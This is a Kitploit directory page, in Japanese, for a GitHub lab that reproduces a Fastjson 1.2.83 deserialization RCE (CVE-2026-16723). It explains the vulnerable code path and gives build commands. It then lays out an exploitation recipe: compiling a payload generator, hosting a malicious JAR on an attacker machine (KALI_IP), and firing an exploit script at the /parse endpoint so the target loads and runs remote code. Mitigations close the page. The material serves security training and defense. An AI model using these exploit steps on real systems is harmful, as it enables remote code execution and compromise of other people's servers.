Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE 演習環境 (CVE-2026-16723) | Kitploit
ツール/GitHubGitHub/why-success/fastjson-rce-lab
脆弱性分析ウェブアプリケーション悪用CTF学習と教育ラボと実践
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE 演習環境 (CVE-2026-16723)

リポジトリを見る
323日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Fastjson 1.2.83 RCE ラボ環境 (CVE-2026-16723)

免責事項:本ラボは、認可された環境下でのセキュリティ研究、教育デモ、防御構築のみを目的としています。認可されていない対象への無断テストは違法となる可能性があり、使用による結果は利用者自身の責任となります。

脆弱性の概要

項目内容
CVECVE-2026-16723 (CVSS 9.0)
影響バージョンFastjson 1.2.68 ~ 1.2.83
脆弱性タイプ逆シリアル化によるリモートコード実行 (RCE)
核心的な特徴Gadget-free(サードパーティ製ライブラリに依存しない)
完全な RCE 条件JDK 8 + Spring Boot Fat-JAR + SafeMode 無効

ラボ環境の説明

  • Fastjson 1.2.83

    • SafeMode 無効(デフォルト状態)
  • Spring Boot fat-JAR パッケージ(LaunchedURLClassLoader を含み、攻撃チェーンに必要なコンポーネント)

  • 修正済みの重要行:ParseController は JSON.parse() の呼び出し前に、スレッドの ClassLoader を LaunchedURLClassLoader に切り替えます(Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader()))。これは @JSONType 検出パスがリモートでクラスをロードできるための必須前提です

  • /parse(JSON.parse)と /parseObject(JSON.parseObject)の2つの解析エンドポイントを提供します

環境要件

  • JDK 8(完全な RCE には JDK 8 が必須です。JDK 9+ では SSRF のみ可能で、完全な RCE は実行できません)
  • OS:Windows / Linux / UOS / macOS すべて対応
  • メモリ:空き容量 256MB 以上必要

ビルド

ソースから fat-JAR をビルドするには(JDK 8 + Maven が必要):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

ビルド成果物は target/fastjson-rce-lab.jar に生成されます。

Maven がない場合は、プロジェクトに同梱されている Maven Wrapper も使用できます(mvnw の事前設定が必要)。

クイックスタート

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

--server.port=18080 について:環境によっては SERVER__PORT などの環境変数が application.properties のポート設定を上書きする可能性があります。コマンドライン引数で強制的に指定することで、ポートを確実に正しく設定できます(コマンドライン引数の優先度が最も高いため)。

JVM パラメータについて:-Xmx256m -XX:+UseSerialGC は、低メモリの仮想マシン(例:Kali 2〜4GB)で正常に動作させ、JVM 初期化時の OOM を回避するためのものです。マシンのメモリが十分にある場合は省略しても構いません。

起動確認

root@kitploit:~
curl http://127.0.0.1:18080/status

期待される応答:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false かつ vulnerable: true であれば、脆弱な状態です。

エンドポイントの説明

脆弱性の原理

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

ラボ内の重要コード

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

この setContextClassLoader の行がない場合、Fastjson はシステムデフォルトの AppClassLoader を使用するため、jar:http:// プロトコルではリモートクラスをロードできません。

エクスプロイトの再現

ステップ1:PoC ツールの取得

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

ステップ2:GenProbe.java の修正(重要)

リポジトリに同梱されている poc/GenProbe.java には、修正済みの2つの互換性問題があります:

  1. ハードコードされた /bin/bash -c → Runtime.exec(String) の汎用バージョンに変更(Windows/Linux の両方で使用可能)
  2. クロスプラットフォームのコマンド形式:Windows ラボでは "cmd /c xxx"、Linux ラボでは "touch /tmp/pwned" または "bash -c xxx" を直接使用

ステップ3:probe.jar の生成とホスティング

完全な攻撃フローは 靶场测试完整指南.md(同ディレクトリ内)を参照してください。以下を含みます:

  • 完全な7ステップの攻撃操作フロー
  • 各プラットフォームのコマンド早見表
  • 6種類の一般的なエラーとその調査方法

クイック検証(Windows ラボの例)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

修正・対策

緊急対策:SafeMode の有効化

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

恒久的な対策:Fastjson 2.x への移行

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

Fastjson2 はこの脆弱性の影響を受けません。

その他の対策

  • com.alibaba:fastjson:1.2.83_noneautotype ビルド版を使用する
  • アプリケーションサーバーからの外向き HTTP トラフィックを遮断する
  • すべての Fastjson 1.x 依存インスタンスを調査する

技術リファレンス

  • Kirill Firsov (@k_firsov) による開示:https://x.com/k_firsov/status/2078872293745570032
  • PoC プロジェクト:https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • アリババセキュリティアドバイザリ(2026-07-21)
  • テンセントクラウドセキュリティ通知(2026-07-20)
ツールをダウンロード
メソッドパス説明
GET/ラボのホームページ(HTML)
GET/statusFastjson 設定ステータス(JSON)
POST/parseJSON.parse(body) — 主要な脆弱性トリガーエンドポイント
POST/parseObjectJSON.parseObject(body) — 予備のトリガーエンドポイント